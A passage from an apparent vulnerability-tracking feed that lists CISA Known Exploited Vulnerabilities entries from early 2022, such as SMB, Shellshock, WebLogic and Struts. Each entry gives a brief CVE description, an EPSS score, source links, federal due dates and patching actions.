CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Word Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2014-1761
Microsoft Word Memory Corruption Vulnerability (Feb 15, 2022).
Microsoft Word contains a memory corruption vulnerability which when exploited could allow for remote code execution.
EPSS 77.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-1761&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-1761: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-1761&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Graphics Component Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2013-3906
Microsoft Graphics Component Memory Corruption Vulnerability (Feb 15, 2022).
Microsoft Graphics Component contains a memory corruption vulnerability which can allow for remote code execution.
EPSS 84.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3906&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3906: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3906&date=2026-10-25
CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple iOS, iPadOS, and macOS Webkit Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-22620
Apple iOS, iPadOS, and macOS Webkit Use-After-Free Vulnerability (Feb 11, 2022).
Apple iOS, iPadOS, and macOS WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 16.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22620&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22620: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22620&date=2026-10-25
CISA added this entry on 2022-02-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 11, 2022; federal due date Feb 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SAM Local Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-36934
Microsoft Windows SAM Local Privilege Escalation Vulnerability (Feb 10, 2022).
If a Volume Shadow Copy (VSS) shadow copy of the system drive is available, users can read the SAM file which would allow any user to escalate privileges to SYSTEM level.
EPSS 67.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36934&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36934: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36934&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Feb 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SMBv3 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-0796
Microsoft SMBv3 Remote Code Execution Vulnerability (Feb 10, 2022).
A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target server or client.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0796&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0796: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0796&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2018-1000861
Jenkins Stapler Web Framework Deserialization of Untrusted Data Vulnerability (Feb 10, 2022).
A code execution vulnerability exists in the Stapler web framework used by Jenkins
EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-1000861&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-1000861: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-1000861&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Struts 1 Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2017-9791
Apache Struts 1 Improper Input Validation Vulnerability (Feb 10, 2022).
The Struts 1 plugin in Apache Struts might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
EPSS 98.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-9791&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-9791: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-9791&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Shell (.lnk) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-8464
Microsoft Windows Shell (.lnk) Remote Code Execution Vulnerability (Feb 10, 2022).
Windows Shell in multiple versions of Microsoft Windows allows local users or remote attackers to execute arbitrary code via a crafted .LNK file
EPSS 90.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8464&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-8464: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8464&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Corporation WebLogic Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-10271
Oracle Corporation WebLogic Server Remote Code Execution Vulnerability (Feb 10, 2022).
Oracle Corporation WebLogic Server contains a vulnerability that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-10271&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-10271: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-10271&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2017-0263
Microsoft Win32k Privilege Escalation Vulnerability (Feb 10, 2022).
Microsoft Win32k contains a privilege escalation vulnerability due to the Windows kernel-mode driver failing to properly handle objects in memory.
EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0263&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0263: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0263&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0262
Microsoft Office Remote Code Execution Vulnerability (Feb 10, 2022).
A remote code execution vulnerability exists in Microsoft Office.
EPSS 81.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0262&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0262&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SMBv1 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0145
Microsoft SMBv1 Remote Code Execution Vulnerability (Feb 10, 2022).
The SMBv1 server in multiple Microsoft Windows versions allows remote attackers to execute arbitrary code via crafted packets.
EPSS 89.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0145&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0145: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0145&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SMBv1 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0144
Microsoft SMBv1 Remote Code Execution Vulnerability (Feb 10, 2022).
The SMBv1 server in multiple Microsoft Windows versions allows remote attackers to execute arbitrary code via crafted packets.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0144&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0144: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0144&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache ActiveMQ Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2016-3088
Apache ActiveMQ Improper Input Validation Vulnerability (Feb 10, 2022).
The Fileserver web application in Apache ActiveMQ allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3088&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3088: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3088&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-645 Router Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-2051
D-Link DIR-645 Router Remote Code Execution Vulnerability (Feb 10, 2022).
D-Link DIR-645 Wired/Wireless Router allows remote attackers to execute arbitrary commands via a GetDeviceSettings action to the HNAP interface.
EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2051&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2051: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2051&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft HTTP.sys Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-1635
Microsoft HTTP.sys Remote Code Execution Vulnerability (Feb 10, 2022).
Microsoft HTTP protocol stack (HTTP.sys) contains a vulnerability that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1635&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1635: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1635&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple OS X Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2015-1130
Apple OS X Authentication Bypass Vulnerability (Feb 10, 2022).
The XPC implementation in Admin Framework in Apple OS X before 10.10.3 allows local users to bypass authentication and obtain admin privileges.
EPSS 9.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1130&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1130: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1130&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple OS X Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2014-4404
Apple OS X Heap-Based Buffer Overflow Vulnerability (Feb 10, 2022).
Heap-based buffer overflow in IOHIDFamily in Apple OS X, which affects, iOS before 8 and Apple TV before 7, allows attackers to execute arbitrary code in a privileged context.
EPSS 48.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4404&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-4404: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4404&date=2026-10-25
CISA added this entry on 2022-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 10, 2022; federal due date Aug 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-21882
Microsoft Win32k Privilege Escalation Vulnerability (Feb 4, 2022).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.
EPSS 59.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21882&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-21882: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21882&date=2026-10-25
CISA added this entry on 2022-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Feb 4, 2022; federal due date Feb 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2022-22587
Apple Memory Corruption Vulnerability (Jan 28, 2022).
Apple IOMobileFrameBuffer contains a memory corruption vulnerability which can allow a malicious application to execute arbitrary code with kernel privileges.
EPSS 11.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22587&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22587: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22587&date=2026-10-25
CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Feb 11, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA 100 Appliances Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-20038
SonicWall SMA 100 Appliances Stack-Based Buffer Overflow Vulnerability (Jan 28, 2022).
SonicWall SMA 100 devies are vulnerable to an unauthenticated stack-based buffer overflow vulnerability where exploitation can result in code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20038&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20038: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20038&date=2026-10-25
CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Feb 11, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Grandstream Networks UCM6200 Series SQL Injection Vulnerability
https://kevwire.com/record/CVE-2020-5722
Grandstream Networks UCM6200 Series SQL Injection Vulnerability (Jan 28, 2022).
Grandstream UCM6200 series is vulnerable to an unauthenticated remote SQL injection via crafted HTTP request. Exploitation can allow for code execution as root.
EPSS 84.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5722&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-5722: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5722&date=2026-10-25
CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Jul 28, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Background Intelligent Transfer Service (BITS) Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2020-0787
Microsoft Windows Background Intelligent Transfer Service (BITS) Improper Privilege Management Vulnerability (Jan 28, 2022).
Microsoft Windows BITS is vulnerable to to a privilege elevation vulnerability if it improperly handles symbolic links. An actor can exploit this vulnerability to execute arbitrary code with system-level privileges.
EPSS 42.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0787&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0787: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0787&date=2026-10-25
CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Jul 28, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Intel Active Management Technology (AMT), Small Business Technology (SBT), and Standard Manageability Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2017-5689
Intel Active Management Technology (AMT), Small Business Technology (SBT), and Standard Manageability Privilege Escalation Vulnerability (Jan 28, 2022).
Intel products contain a vulnerability which can allow attackers to perform privilege escalation.
EPSS 92.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-5689&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-5689: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-5689&date=2026-10-25
CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Jul 28, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2014-1776
Microsoft Internet Explorer Memory Corruption Vulnerability (Jan 28, 2022).
Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code in the context of the current user.
EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-1776&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-1776: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-1776&date=2026-10-25
CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Jul 28, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2014-6271
GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability (Jan 28, 2022).
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute code.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6271&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-6271: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6271&date=2026-10-25
CISA added this entry on 2022-01-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jan 28, 2022; federal due date Jul 28, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2014-7169
GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability (Jan 28, 2022).
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute code. This CVE correctly remediates the vulnerability in CVE-2014-6271.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-7169&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-7169: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-7169&date=2026-10-25
